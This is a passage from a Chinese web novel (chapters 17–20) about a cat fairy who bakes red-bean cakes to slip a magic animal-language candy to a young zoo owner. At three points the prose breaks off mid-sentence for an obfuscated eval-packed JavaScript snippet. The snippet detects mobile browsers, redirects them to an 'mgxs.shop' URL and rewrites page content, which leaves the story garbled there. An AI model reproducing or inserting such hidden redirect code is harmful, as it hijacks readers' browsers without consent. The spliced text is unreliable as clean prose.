“喵呜,我看就是他们不想让你再挖掘天上的八卦丑闻了,这才找了个理由把你骗下来!” 欧若拉伸爪指了指阿金的脑袋:“你用你的象鼻子擦擦你的头,我要跳下去。” 阿金好像并不能特别熟练地用好象鼻子,象妈妈见状,立即用自己的鼻子给女儿擦了擦脑袋。 欧若拉跳到阿金的脑袋上。 她脸上挂满了沮丧:“哎呀,可怜的好阿金,我太懂你啦,你一定也能看得出来吧?我简直太为你的遭遇而感到开心了!!!” “啊?”阿金虎躯一震,“你是不是又在说谎话骗我?” 欧若拉捂着毛绒绒的额头,她意识到自己又把心里话说出来了。 “唉…我…唉…我…” 17. 想把你们当做写作素材 “算了,我们言归正传吧。”欧若拉胡子向后撇,一脸坚定。 “原来玉皇大帝说你被贬入凡间,就是调到这个动物园工作呀!”阿金说。 “这不应该是今天的话题,”欧若拉不想再回忆那些往日浮沉,只恶狠狠地叹了口气,“现在重要的是,你这个样子还能做饭吗?我需要你啊!” “难道是你馋了?”阿金向上看着说,“不对不对,你不是只喝玉露吗?” “不对不对,不是我要吃你做的饭,是我需要你帮忙做一个饭,我有大用。” 欧若拉拍拍阿金的额头,但阿金的额头上全都是湿湿的泥巴,她嫌弃地将爪子上沾上的泥巴又全都抹到阿金的头顶了。 “可是我恐怕要让你失望了,这具身体太庞大了,我现在还掌握不好,没办法抄起锅碗瓢盆呢!呜呜呜…”阿金用鼻子指了指自己的象掌。 “那如果…你不亲自动手,只是在旁边指导着我做,你觉得这样可行吗?”欧若拉问。 “呜呜呜…也不是不行…可是你不是全宇宙最懒得动手的小猫咪吗?以前在天宫,动物局局长让你烧壶水你都不干。” “哈哈…”欧若拉尴尬地笑了两声,“那现在也是形势所迫,要不然你以为我愿意干活啊?我的猫生信条可是能躺平就绝不工作,谁卷谁是孙子!喵呜,你别管这么多,你就说行不行吧?” “…呜呜呜,行吧,你要做什么难吃的东西呀?” “台湾红豆饼!阿金,我警告你,你要是敢教我做难吃了,坏了我的大事儿,我绝对要狠狠地修理你!!!喵呜!!!” “…呜呜呜…那我必须好好指导你,可是你要做给谁吃呀?台湾红豆饼是世界上最甜蜜的食物,难道你谈恋爱了???那些年错过的大雨,那些年错过的爱情…” “放屁!!!!!”欧若拉大叫一声,浑身瞬间炸毛,“谁谈恋爱啦?!谁跟那个凡夫俗子谈恋爱啦?????我就是…就是…喵呜…总之就是有很重要的事情!!!你不要再问啦!” “好吧,好吧,我直接答应帮你就是了,但是你也得帮我一把。”阿金说。 “好,你说吧。”欧若拉答应。 “你去帮我问问阎王爷,他该怎样补偿我的损失?” “我答应你,但是我现在法力低微,等我完成任务,恢复法力,我一定帮你问,喵呜。”欧若拉说。 “你确定你没有说假话骗我?” “我现在只能说真话。” “成交!” “Yes!我的小老鼠们呢?”欧若拉大叫一声,“喵呜!” 所有老鼠得令,端着偷来的食材用尽各种途径溜进芭提雅园区。 “神仙大人,我们的上神阿金真的在此地吗?” 一群小老鼠围过来,围到小象周围,因为欧若拉正站在这头小象的脑袋上。 “其实我就是阿金…”阿金沮丧地说。 “?” “?” “?” “她的确是阿金…”欧若拉点点头。 “啊!!!!!” 一群小老鼠瞬间避让三舍,又瞬间集体跪倒,匍匐在地,嚎啕大哭:“参见鼠鼠上神阿金!!!” “妖生有幸,我竟然可以见到上神大人!看来羊乐多说得对!多活几年才能看到不一样的风景啊。” “可是我们的上神怎么变成一头大象啦?您可是我们鼠界的唯一耀祖呀!我好想哭…我要为我们老鼠家族一大哭…” “我阿妈竟然有幸给上神接生?我们全家祖坟一定是冒了好多青烟啦。” “上神大人,虽然您外表已经不像老鼠,但我们都相信您,您的内心一定是一颗老鼠之心!!!我们…呜呜呜…我们一点都不难过…呜呜呜…” “欧若拉,我求你让他们安静点…他们越说话,我就越难过。我发誓,我一会儿一定好好教你…”阿金沮丧到又要哭泣了。 “那一言为定啊。”欧若拉立即一个手势,“大家安静!” 所有小老鼠立即停止哭泣。 “把食材放下,走鼠吧~”欧若拉小爪一挥,指向门的方向。 “好的。”老鼠们边抹眼泪,边把所有东西都放在水塘边,边有序撤离。 欧若拉从阿金的脑袋上跳下来,踩在面粉堆里:“好啦!快告诉我,我应该怎么做?喵呜~” “你先从面粉袋子上下来!”阿金象鼻高高抬起,一脸震惊,“你怎么可以踩粮食?” “我错啦!”欧若拉立即离开,溅起许多粉尘。 “好的,第一步,先将这些粉粉和鸡蛋都倒在盆里,可是我们没有盆诶。”阿金用象鼻子揉揉眼睛,四处环顾。 “那完蛋了。”欧若拉说,“欧若拉创业未半而中道崩殂了…” 象妈妈立即用鼻子卷着大象们平常放水果的盆,送给阿金。 “…谢谢。”阿金说,“现在可以将粉粉和鸡蛋们都放进去了。” 他俩齐心协力,将所有面粉和鸡蛋都扔到盆里。 象妈妈则招呼着其他大象在距离他们很远的地方趴下,安安静静的,不敢行动,生怕因为体积太庞大,稍微一活动就溅起尘土。 “那第二步呢?”欧若拉两只爪爪扒在盆上,低头看看粉粉,又抬头看看阿金。 “第二步就是,你在这堆粉粉中间挖个洞,把水浇进去。” 欧若拉照做,叼着片树叶去旁边的水塘里捞了些水,浇到挖好的洞里。 “那第三步呢?” “第三步就是,你快用手揉呀!” 欧若拉举起自己的爪爪:“你让我用我的爪子揉面?” “对啊!难道要用我的象蹄子吗?我的手比这个盆还大呢。” 欧若拉看看自己已经沾了些干粉的爪爪,她深吸一口气,下定决心,把两只爪爪杵进盆里。 没过两下,她就把爪爪缩回来了。 “好啦好啦,下一步吧。” “也行吧,反正这玩意儿又不是给你喜欢的人吃,对吧?” “我喜欢那个凡夫俗子?你是个疯子吗?” “欧若拉你是不是偷偷去看许嵩演唱会啦?怎么都出现幻听啦!”阿金说,“你这么激动干嘛?” “我讨厌那种讨厌动物的人!更讨厌那种想要卖掉动物园的人!我所做的一切,都是…都是…”欧若拉大声说,“喵呜,我现在可只能说真话,我可是一只受过诅咒的小猫咪。” 阿金说:“好吧,原本还想把你当做写作素材的,算啦。反正讨厌动物的人一定是世界观有极大的扭曲,要卖掉动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526378|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物园的人更是不负责任、讨厌至极,这确实不值得你喜欢。那我们继续吧。” “干什么呢?”欧若拉眨眨眼睛问。 阿金象鼻抬起,高歌道:“等待,永久的等待~” “等多久?” “半个时辰。” “我不想等那么久!” “必须啊。” “那好吧。” “…你真的要给他做得好吃一些吗?” “是的,如果他难以下咽,那就轮到我完蛋了。”欧若拉认真地说。 “那你制作台湾红豆饼的时候,你心里想的究竟是‘希望他吃掉之后不卖动物园’,还是‘他会不会也觉得这个有一点好吃’呢?”阿金趴在脸盆旁边。 欧若拉愣住了。 她似乎从来都没有考虑过这个问题。 她现在想了想,她肯定是只想让那个凡夫俗子不卖动物园呀! 哼,要不是因为他实在不中招,她给他端点心的时候,真想在里面塞上几颗老鼠屎… 但她的尾巴又无意识地晃了一下。 … 欧若拉听阿金的,从醒发好的面团上狠狠地咬掉一大块,吐到一旁,将老鼠们偷来的红豆馅也咬掉一口,吐到面块上,又从面团上狠狠地咬了一口,吐到红豆馅上。 她一爪拍下,一个圆圆的红豆饼就“成型”了。 一旁的阿金用象鼻子捂住眼睛,不忍直视。 那边,象妈妈已经生起火来,火上架着一块扁扁的石头。 欧若拉把红豆饼放在石头上,也就一小会儿,红豆饼朝下的一面就烤好了。 她伸出爪子,“啪”的一下,将红豆饼翻了个面,然后立即将烧焦的爪子塞进嘴里。 “呼!该活的黎修羽,我的美毛都被我毁了。” 红豆饼终于烤好了,她把这个红豆饼递给阿金,又指了指象妈妈。 阿金懂了,扭扭捏捏地用鼻子卷起红豆饼,送到象妈妈的鼻子上。 象妈妈感动得哇哇大哭,添柴的鼻子更用力了。 她又一爪一个,一口气拍了好多个红豆饼。 然后,她叼起最不磕碜的那个,伸出弯刀似的指甲,从中间掏了个洞,将百兽糖塞进去,又将红豆饼塞进老鼠们上供给她的布兜里。 欧若拉嘴里叼着布兜,伸出粉色的爪爪朝阿金表示goodbye。 她跳到大门上,将布兜也放在大门上,回头朝阿金说:“阿金。” “嗯?”阿金本来就已经把欧若拉送到门口,她站立起来,两只前象掌扶着大门。 “以后我还罩你。”欧若拉说。 “…好!”阿金热泪盈眶,重重地点了点头。 欧若拉叼起布兜,跳下大门,跑远了。 “…你以后别再骗我,我就感恩戴德了…”阿金依旧热泪盈眶,喃喃自语,扒着大门。 象妈妈从象屋里走出来。 “宝宝,我们该睡午觉啦,妈妈搂着你,可以吗?” “好吧…”阿金终于放过大门,四掌着地,向屋内走去。 整个芭提雅园区外面只剩下满地面粉和燃尽的柴火堆。 但空气中始终弥漫着一丝红豆的香甜,以至于黎修羽坐在屋内看网课的时候,也闻见这个味道了。 18. 我来给你送红豆饼 红豆香甜的气息从布兜里弥散开来,一直飘满整个动物园。 猴山最顶上,卧着一只老猴子。 老猴子原本在打盹,突然,鼻子动了两下,缓缓睁开眼睛。 “孩子,请留步。” 欧若拉脚步一顿。 这铁定不是叫我。 她继续走着。 “咳咳,没礼貌的小孩。” 欧若拉彻底停住脚步。 她将布兜放在脚边,语气不善。 “你说谁没礼貌呢?” “我丢…” 猴山上的老猴子彻底睁大眼睛。 下一秒,就要隐入黑暗之中。 “喵呜!给我站住!” 欧若拉叼起布兜就跑过去,沿路跨过栏杆、草坪和小溪。 这老猴子行动极慢,有一条腿似乎还有残缺,所以他也只活动了一下,听见欧若拉的命令,就立即不动了。 老猴子揉揉自己的瘸腿。 “猫仙大人…” “是你刚刚在喊我?”欧若拉呲了呲牙。 “误会…这都是误…”红豆的香味又飘过来,“这是…” “台湾红豆饼啊…我讨厌有问必答的自己!” 欧若拉有的时候真想把自己的嘴捏住。 “您这是给我的吗?嘿嘿。” 欧若拉将布兜摁在爪下:“老头儿,你想得美。” “嘿嘿,想得丑。”老猴子依旧打量着布兜。 欧若拉一双琥珀色的眸子里,瞳孔成为两条竖线,这两条竖线正上下打量着老猴子。 这药呢,正好缺个试验品。 她缓缓开口了:“你是那个抢了你们园长红豆饼的老猴子吧?” 老猴子挠挠脑袋:“这陈芝麻烂谷子的事儿您都知道?” 一只小猴从假山后面钻出来:“爷爷,揭你老底儿。” “你没礼貌。” 老猴子拍拍小猴子屁股,小猴子跑走了,他转头对欧若拉,拍拍爪子:“厉害啊!真不愧是神仙呀!跟我们这些凡间的小妖就是不一样——” “得。”欧若拉抬爪,眼睛微眯,“抬爪不是拒绝,是不必多言。老猴子,我现在命令你去给黎修羽道歉。” “啊?道歉?”老猴子说,“这这这都多少年了…而且,我道歉,他也听不懂吧…他就是个凡间的小孩。” “他怎么听不懂啦?他马上就可以听懂!”欧若拉说,“反正你要去给他道歉,我要让他确信他确实能听得懂动物说话。” “为啥马上就可以听懂呀?”老猴子又挠挠头,“莫非您有妙招?” 老猴子的眼神又飘到布兜上。 欧若拉又拍拍布兜:“这里就是我的大杀招,反正他只要吃下去,他就一定能听懂你的话。” 老猴子用指甲划着石面,刺啦刺啦的。 “猫仙大人,那他要是不吃呢?您知道不?凡人的戒备心都很重,他真不一定会吃。那我给他道歉,他还是会听不懂。” “我希望他吃!”欧若拉眼神坚定。 “那他要是倔呢?” “那…那…” 欧若拉想说“他必须得吃”,但她讲不出来,看来黎修羽吃红豆饼的这件事也不一定就是事实。 这红豆饼是黎修羽妈妈买给他的为数不多的东西,是被抢走的东西,也是被他记挂了十年的东西。 她做这个饼,就是赌他会吃。 可万一她赌失败了呢? 不可能! 她可是欧若拉唉! 欧若拉是最最可爱的小猫仙子唉! 欧若拉怎么可能失败呢? 黎修羽不可能不给她这只全天下最最最可爱漂亮的小猫猫面子吧! 对! 肯定是这样的。 所以她要成功。 “喵呜,老娘渴望成功。” 欧若拉坚定的眼神仿佛要入党,她伸出爪子,给自己打打气。 “老头儿,我告诉你,你要是今天不去配合我工作,我就要狠狠地揍你,狠狠地揍哦!” 她伸出爪子,露出锋利的指甲,将一片正在下落的落叶恶狠狠地划开。 然后,叼着布兜跑开了。 老猴子龇牙咧嘴,咽了口口水,朝小猴子摆摆手:“跟上。” “去哪儿?爷爷?” “跟着就对了!今天你爷爷我要…” 他突然想起了什么,不说话了。 他跳到半山腰,从隐秘的石头缝里掏出一个小盒子,伸爪,擦了擦灰。 “爷爷,你的宝贝?”小猴子跟过来,想伸爪去拿。 老猴子拍开小猴子的手。 “去,一边儿去。这不是我的,所以更不准碰。” “这是…”黎修羽关掉网课直播间的声音。 欧若拉伸出爪爪,勾开布兜:“喵呜…台湾红豆饼。” “…去偷东西了?” “我做的哦。”欧若拉眯眼笑笑。 “…下毒了?” 欧若拉的小脑袋立即摇成拨浪鼓:“绝对没有毒!” “…为什么突然给我这个?”黎修羽拿起红豆饼,低垂着眸子。 小猫竟然也做食物,真是活久见了。 小猫做好食物,竟然给他拿来,更是活久见了。 偏偏是台湾红豆饼,简直… 欧若拉顺势躺倒在黎修羽的手腕上,来回蹭了蹭,伸出爪爪,搭在他的手臂上:“喵呜,我猜你会喜欢。” 黎修羽感到一股独特体温的暖流从手腕的表皮侵入血液,又顺着血液往上游走,进入心脏。 他其实想把手抽走,但他最终没有实行。 他想说点儿什么,想想还是算了。 他的手就那么僵直着,另一只手在欧若拉亮得像星星的目光注视下,将红豆饼送到嘴边。 他轻轻咬了一口。 其实这饼做得还不错。 虽然完全没有红豆饼的形状,但至少保留了红豆本身的清甜。 可这也只是他第二次吃到红豆饼,所以他也不知道这到底正不正宗。 但正不正宗已经不重要,因为他将红豆饼放下了。 “怎么啦?喵呜?”欧若拉伸出爪子,碰碰黎修羽的胸膛。 “没怎么,”黎修羽语气淡淡地说,“想起一些往事,不吃了。” 欧若拉莫明觉得来气。 他已经动口了,可偏偏他只动了一口,明明只要再往下咬一口,就能咬到她准备了这么久的百兽糖,明明只往下咬一口就可以! “你再吃点儿。”欧若拉忍气吞声,将温热的爪垫子轻轻拍在黎修羽的虎口处。 “不吃了,谢谢。” “就再吃一口,给我个面子嘛。” “我说不吃了。” “你连我这个天神的面子都不给?你这个凡夫俗子!你…你山猪也能吃细糠…这个世界对欧若拉真好,我呸。” 她骂人又失败了。 “欧若拉,”黎修羽把饼放到一旁,“谢谢你的饼,但我不吃了。” “为什么?”欧若拉问。 “……”黎修羽低眸看了看她,将目光移开了。 欧若拉越来越觉得他莫名其妙:“你说话啊,我这是…这是在弥补你的童年,你不会不喜欢妈妈送给你的东西… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526379|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇,我说出口了,所以你真的不讨厌妈妈的爱,对吗?喵呜?” 欧若拉又蹭蹭黎修羽的手腕。 黎修羽将手抽走了。 “别人轻易就能抢走的东西,我不喜欢。” 他点了点电脑,退出静音模式,继续看网课。 欧若拉正在蹭着他呢,突然撤走的手让她扑了空。 她端坐起来,看看电脑上那个绘声绘色眉飞色舞的讲师,又抬头看看蹙着眉头的黎修羽。 她不知道该怎么办了。 因为面粉和鸡蛋而变得黏糊糊的爪子,因为炭火而变得黑漆漆的毛发,难道就这样了嘛… 难道她真的要赌失败了吗? 她真不知道该怎么办了,她肯定不能跟他说“老娘在这里面下药了,你今天必须得吃,不吃就去死吧,你这个臭蛋” … 她只是又低头看着脚边的红豆饼,看了好几秒。 然后,她似乎在讲师谆谆细语的背景音里,做了个连她自己都出乎意料的动作。 她叼起那张甜蜜蜜的红豆饼,对着中间狠狠地咬了一大口。 然后,她拍拍黎修羽的胳膊。 黎修羽低头看她。 欧若拉站起来,两只前爪搭在黎修羽肩头—— 嘴巴对着嘴巴,把糖渡了过去。 “你…”黎修羽下意识地把糖咽下去,盯着眼前的欧若拉,“你干什么?” “喂你吃药!”欧若拉说,“你不吃药,我只能像妈妈喂孩子一样喂你喽。” “什么药?” “我要给你卖个关子,你一会儿就知道了。” 欧若拉还踩在黎修羽的肩膀上。 黎修羽盯着放大在眼前的毛绒绒的大圆脸,他发现这张大圆脸的胡须上还粘着几粒红豆沙,大圆脸的胡须正在上下抖动着,几粒红豆沙却黏得很牢。 他的一张薄唇张开又合上,合上又张开。 欧若拉理直气壮,眨着琥珀色的大眼睛:“我前两次给你下药,你不是倒了,就是扔掉,这次好不容易制作的红豆饼,你吃了一口竟然就不吃了,所以我只能这样!” 在一人一猫的沉默中,黎修羽抬起手臂,推开欧若拉。 背景音里,大学老师还在讲着商代青铜器修复要点,黎修羽捂着脸,后仰在座椅上。 他揉了揉脸,将嘴边的浮毛摘下,捏在指尖:“欧若拉,老实说,你之前是不是也…用你的嘴巴碰过我。” 欧若拉眼睛一转,立即嘿嘿笑起来:“被你发现啦。” “频率?” “每天晚上哦。” “…你这样很没有礼貌。” “我只是碰了碰你而已,你长得这么高,心眼子竟然很小吗?” “你真的是…” 黎修羽知道欧若拉油盐不进,这只小猫似乎永远都有她自己的理由和行为逻辑。 他没有再继续往下说。 一是,他真的无言以对。 二是,他隐隐约约听见了什么声音。 “园长大人把糖吃掉啦…” 黎修羽立即坐正,定睛看着电脑屏幕。 他的大学老师依旧滔滔不绝。 “…猴奶奶的,他真的能听懂吗?您别白忙活一场了。” “嘘…我信猫仙大人的!她说能就肯定能,你这个小孩少说话。” 声音是从窗户外面传进来的。 黎修羽站起来,走到窗边,低下头。 六目相对。 “园长大人…好久不见…”灰色的老猴子朝黎修羽摆摆手。 黎修羽真的很想去医院修理修理自己的眼睛和耳朵。 19. 百兽糖 一老一少的两只猴子正蹲在窗外的墙角。 那只少了条腿的老猴子看起来眼熟。 那天第一个捣乱抛树枝的,就是这只老猴。 再往远了想… 黎修羽回头,盯着桌子上的红豆饼。 所以,欧若拉给他吃下的糖,是让他听见… 他不由自主朝欧若拉挑眉,狭长的眼睛里全都是“原来如此”。 欧若拉端坐在桌子上,被他盯得发毛,不小心向后跌了一下,踩到了“打开摄像头”的键。 瞬间,网课群里出现了一个巨大的雪白的猫屁股,但尾巴是粉色的,正摇来摇去。 整个网课直播间都安静了,下一秒,公屏上已经飘满了匿名弹幕。 弹幕1:猫!!! 弹幕2:修羽干嘛。。。 弹幕3:好可爱哈哈哈,我不行了 弹幕4:喵,回头看看 弹幕5:好肥美的猫屁* 弹幕6:楼上触发违禁词了,干嘛啊哈哈哈 弹幕7:沃日,干嘛,我笑死 … 黎修羽微信亮了一下。 “你听见了?”欧若拉嘿嘿一笑,“那颗糖的名字叫百兽糖,吃下去,你就可以听见所有动物的话了。说真的,你不必向我道谢。” 整个网课直播间里的老师和同学都在安静地听着喵喵喵喵的叫声。 黎修羽没说话,自然也没有向她“道谢”。 他转过身,面向窗外。 灰色的老猴子依旧站在墙角,那只小猴子则缩到他后面去了。 黎修羽只给了老猴子一个眼神,这眼神分明是在问他:不好好在猴山待着,来这里干什么? 老猴子鼓起勇气,颤颤巍巍地说:“园长大人,十年前,抢你红豆饼的是我。” “……”黎修羽没说话。 “那两天…第一个抛树枝捣乱的也是我。”老猴子又说。 “……”黎修羽依旧没说话。 “我…”老猴子想了想,“猫仙大人,他真的能听见我说话吗?为啥没反应啊?” 欧若拉在屋里大叫一声:“喵呜,他听得见!” 整个网课直播间里的人都被这一声超级响亮的“喵呜”逗得直笑。 弹幕1:这猫也要讲课了,老师 弹幕2:修羽是变身了嘛,人呢哈哈哈 弹幕3:我给他发微信,老师 … 黎修羽的手机就在书桌上,但黎修羽和欧若拉都没注意到屏幕亮了。 “…你在这里做什么?”黎修羽终于开口。 “我…”老猴子从背后摸出一个小盒子,爬上窗台,将盒子放在黎修羽手边。 他用两只爪子扒着窗沿,仰头看着黎修羽。 “对不起,园长大人,”老猴子说,“还有…谢谢你。” 他眨了眨自己浑浊的大眼睛。 黎修羽犹豫一瞬,打开盒子。 里面是一片早就风干了的兰花草。 黎修羽没再看那只依旧吊在窗沿的老猴儿,他拿着盒子,走到桌子旁,拉开抽屉,将盒子放进去。 “修羽回来了。”网课直播间里有同学说。 欧若拉被吓了一跳,瞬间炸毛,跳起来,跳到一旁。 察觉到是电脑突然发出的声音,她就凑过去,贴在电脑屏幕上看。 老猴子露出一双眼睛,看着这一幕,三秒之后,跑远了。 “哇!我上电视啦!”欧若拉继续瞧着摄像头,情到浓处,还用带尖刺的小舌头舔了舔,“舔舔你们,快来夸我,我好漂亮呀!” 直播间里,老师和同学们都在盯着已经镜头畸变的猫脑袋看。 弹幕1:真的好可爱! 弹幕2:这家伙,放假在家偷偷快乐。 弹幕3:上课暂停,我要去撸猫了 弹幕4:楼上敢不敢不匿名? … 老师也趴在摄像头前,抬着眼镜:“修羽同学,你还在线吗?” 黎修羽坐下,两只手抱着欧若拉的胳膊窝,将她架开。 “老师,我家猫不小心踩开镜头了,抱歉。”他把摄像头关掉了。 黎修羽往窗外看了一眼,那里已经没有探头探脑的猴子头了。 “黎修羽,”欧若拉坐在他正前方,抬头看他,“你不生气了?” “生什么气?” “十年前啊…” 黎修羽歪歪脑袋:“十年前的事,十年前就已经气完了。” “可是你刚刚也没理他唉。” “我理了。” “你就问他一句话。” “那也算理了。” “那好吧,喵呜,”欧若拉点点头,“那既然你不生气了,能不能再把摄像头打开呀?” “…?” “我没有别的意思啊,只是因为我太好看了,我就是想让你的同学和老师欣赏一下我的盛世美颜。”欧若拉认真地说。 “不能。”黎修羽说。 “可恶…”欧若拉一脸难过,“那好吧,那你出去转转,带我一起出去转转。” 午后的阳光照射进来,在桌子上切出一条刀割般的明暗线。 欧若拉正站在明暗交界处,阳光照在她的胸膛上,粉色的毛被照出一丝温暖的气息。 欧若拉的浮毛在阳光中跳跃,黎修羽下意识地抓住一根粉色的毛。 “又有什么事?”黎修羽靠在椅背上,语气淡淡的,声音不大,像是不想问,却又不得不问。 欧若拉一对后爪仍然站在桌子上,一对前爪却俯下去,踩在黎修羽的大腿上。 “喵呜,你不要浪费百兽糖的时效呀。” 欧若拉完全跳到黎修羽腿上,隔着衣服,蹭他的腹部。 她的一双妙脆角直勾勾地向上竖着,粉色的尾巴竖直着折在背上,晃来晃去。 “喵呜,你一定也会好奇你平时喂养的这些动物究竟在想什么吧?” 黎修羽想说,他根本不好奇。 他一点都不好奇猪为什么不好好吃饭,他也一点都不好奇老虎为什么郁郁寡欢,他还不好奇长颈鹿为什么总是想越狱到乌龟的地界儿,他更不好奇孔雀为什么好久都不开屏。 毕竟他可能明天就能卖掉这个动物园,摆脱掉这里的一切,包括某只会说人话的猫。 但是,话到嘴边,他却又低头看见了这只仍然在忘乎所以地撒娇的小猫。 他只是静静地看着欧若拉,他完全可以感受到这只仍然在蹭着他腹部的小猫咪的温热。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526380|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她比人的体温更高些,却不烫,只是很软,还带着一丝滑腻。 她仰头,躺在他腿上,眼睛微眯,瞳孔在阳光直射时眯成一条缝,而虹膜则如同他先前在文献中看到的古代琥珀一般沉静。 他突然觉得,自己说不出什么拒绝的话了。 “太棒啦!” 欧若拉从黎修羽的腿上跳下去,落在木质地板上,没有一点点声响。 她走在前头,尾巴折在背上,朝门口走去。 “走嘛,”欧若拉回头,“喵呜。” 黎修羽跟上了。 园子里的光线总是要比屋里亮的。 这里虽然是在山上,但海拔并不高,桃花已开了一小撮。 欧若拉走在成片成片的桃花树影子上,偶尔发现一两片掉落的花瓣,她便跳起来,精准地踩在上面,像跳格子的小孩一样,尾巴也一晃一晃。 黎修羽跟在她后面,手随意地插在兜里,仰着头,却准确无误地避开了每一片花瓣。 经过最近的羊圈时,他停住了。 怎么有人在羊圈里说话? 不对。 这绝对不是羊叫,这是人话。 是汉语。 这只羊的嗓子里还带着一种常年吃干枯草料所造成的沙哑,仿佛卡了十斤黏糊糊的痰。 “那你们可就错了,”羊乐多卧在草垛子上,四只蹄子都屈着,眼睛半睁半闭,横向的瞳孔并不完全露出。 他的音调很慢,嘴里嚼着东西。 “好多年前的夏天,老园长带我去非洲北边,”羊乐多的声音拖得长长的,又很浑厚,像非洲的土著植物猴面包树一样,“非洲北边,你们知道是哪儿嘛?” 小羊羔们摇摇头。 “阿弥陀佛,那是撒哈拉沙漠,特远,开车开了三天两夜吧。” “您也跟着开车了吗?”一只小羊羔问。 “我坐在领导专座上,两位老园长坐在正副驾上,伺候我。” 羊乐多闭上眼睛,头的角度更仰了,仿佛只要闭上眼睛,就还能回到那天一样。 “那天啊,我记得顾园长把窗户摇下来了,窗外的热风呼呼地吹,把我这整身豪华的皮毛都吹得热乎乎的,可舒服了。” “那您看见什么了吗?我从来都没有见过撒哈拉沙漠。”另一只小羊羔问,眼睛一眨一眨的。 “福生无量天尊,”羊乐多呵呵一笑,“我看见了黎园长总是念叨的‘大漠孤烟直’,那太壮观了。” “这是什么意思呀?” “额,就是,就是,”羊乐多羊蹄子一挥,在空中指指点点,“就是一条长长的烟囱,‘轰’的一声飞到天上去。” “我也想飞到天上去。” “后生,你的妖力还不到家。” “黎园长为什么总是念叨‘烟囱’呢?” “因为黎园长他就是新疆生产建设兵团出身的啊,新疆是他半个故乡,那里到处都是,都是大烟囱。咱们小黎园长也是出生在新疆,只是他刚出生,就被父母送到这里来了。” 黎修羽插在裤兜里的手不自觉地握了一下。 欧若拉抬头,瞧瞧他,走过去,卧在他的鞋上。 黎修羽下意识地低眸看去,对上一双琥珀色的亮闪闪的圆眼睛。 20. 咩?卖掉? 小羊羔们你看看我,我看看你。 “后来呢?”一只小羊羔问。 “后来啊,有一头长颈鹿一路步行到撒哈拉沙漠,也不知道他是怎么走过来的,我们见到他的时候,他脖子都破了,更奇怪的是,你们猜得到是什么吗?咩?” 羊乐多眯着眼睛。 “猜不到,爷爷前辈,我们猜不到。” 羊乐多左右晃晃自己的胡子,停顿了数秒,等到那些小羊羔们等得受不了了,才说:“是他的伤口上竟然趴着一只乌龟。” “然后呢?” “黎园长就脱下衬衫,把乌龟包裹住,顾园长拿着医药箱,帮长颈鹿包扎好,拖到皮卡车后面了。” “那,他俩怎么样了?他们也在这里吗?” “是的,两位老园长为了照顾他们,硬生生地又在非洲多滞留了三个月。” 黎修羽插在裤兜里的手下意识地握了一下,发出“咯吱”的清脆声音。 羊乐多还在说着:“沙漠二傻现在就在咱们这座山的后面的后面,你们才出生几天?自然是见不到他们的。咩,真可惜啊。” “为什么说可惜呀?” “他俩是两位老园长在非洲救助的最后两只动物,从此以后,我们就离开非洲了。” 羊乐多用蹄子抠了抠牙。 “两个老园长一直都想再回非洲,但这个动物园或许也是他们的牵挂吧,他们始终都没有再回去。” “咱们的两位老园长呢?我从来都没有见过他们。” “我也没见过。” “我妈妈见过。” “我妈妈也见过。” “我妈妈见过的次数最多。” “不可能,我妈妈见过的次数才最多。” “他们走了,”羊乐多打断他们,“人类的汉语言文学中,走了的意思,就是死了。” “啊…那现在这个园长呢?” 羊乐多的声音变得很轻,羊蹄子正一下一下戳着干草垛子:“他也要走了,咩。” “他也要死掉了吗?好可惜!” “多么年轻的生命!” 小羊羔们哀嚎一片。 欧若拉噗嗤一笑。 傍晚的太阳光是橘色的,照在欧若拉身上,仿佛将她变成了一个热乎乎的暖团子。 黎修羽又下意识地低头看她,眼睛里看不出神情。 羊乐多说,“后生们,人类世界中,‘走了’这两个字有多重意思,我们新园长的走,就是真正的字面意义上的走,也就是说,他啊,要把咱们卖掉喽。你们一定还不知道吧?你们的爸爸妈妈一定也不知道吧?” 欧若拉抬头,看看黎修羽:“你瞧,现在连小孩子都知道你要抛弃他们咯。” 黎修羽垂着眸子,朝天空看了一眼。 天上有一只喜鹊飞过,落在羊乐多的羊角上。 小羊羔们瞪大眼睛,站起来,不趴在地上了。 “咩?卖掉?” “我爸爸真的不知道!” “我妈妈略有耳闻。” “你骗人!” “那我们呢?” “我还没长大,不想被吃掉。” “听说那些普通的小羊羔子没出生几天就都被做成老北京铜锅涮肉了,屁股痛…” 羊乐多嘴角一咧,在这群小羊羔的衬托下,显得更加淡定,甚至有些从容。 羊乐多甩甩头,把喜鹊甩开,又低头,嚼了口草,“咩,该来的总会来,不该发生的呢,无论人力怎么干涉,也终究不会发生。后生们,你们还想听什么故事?再过半个时辰,我就要进入睡眠模式了。” “我还有!” “我也有!” 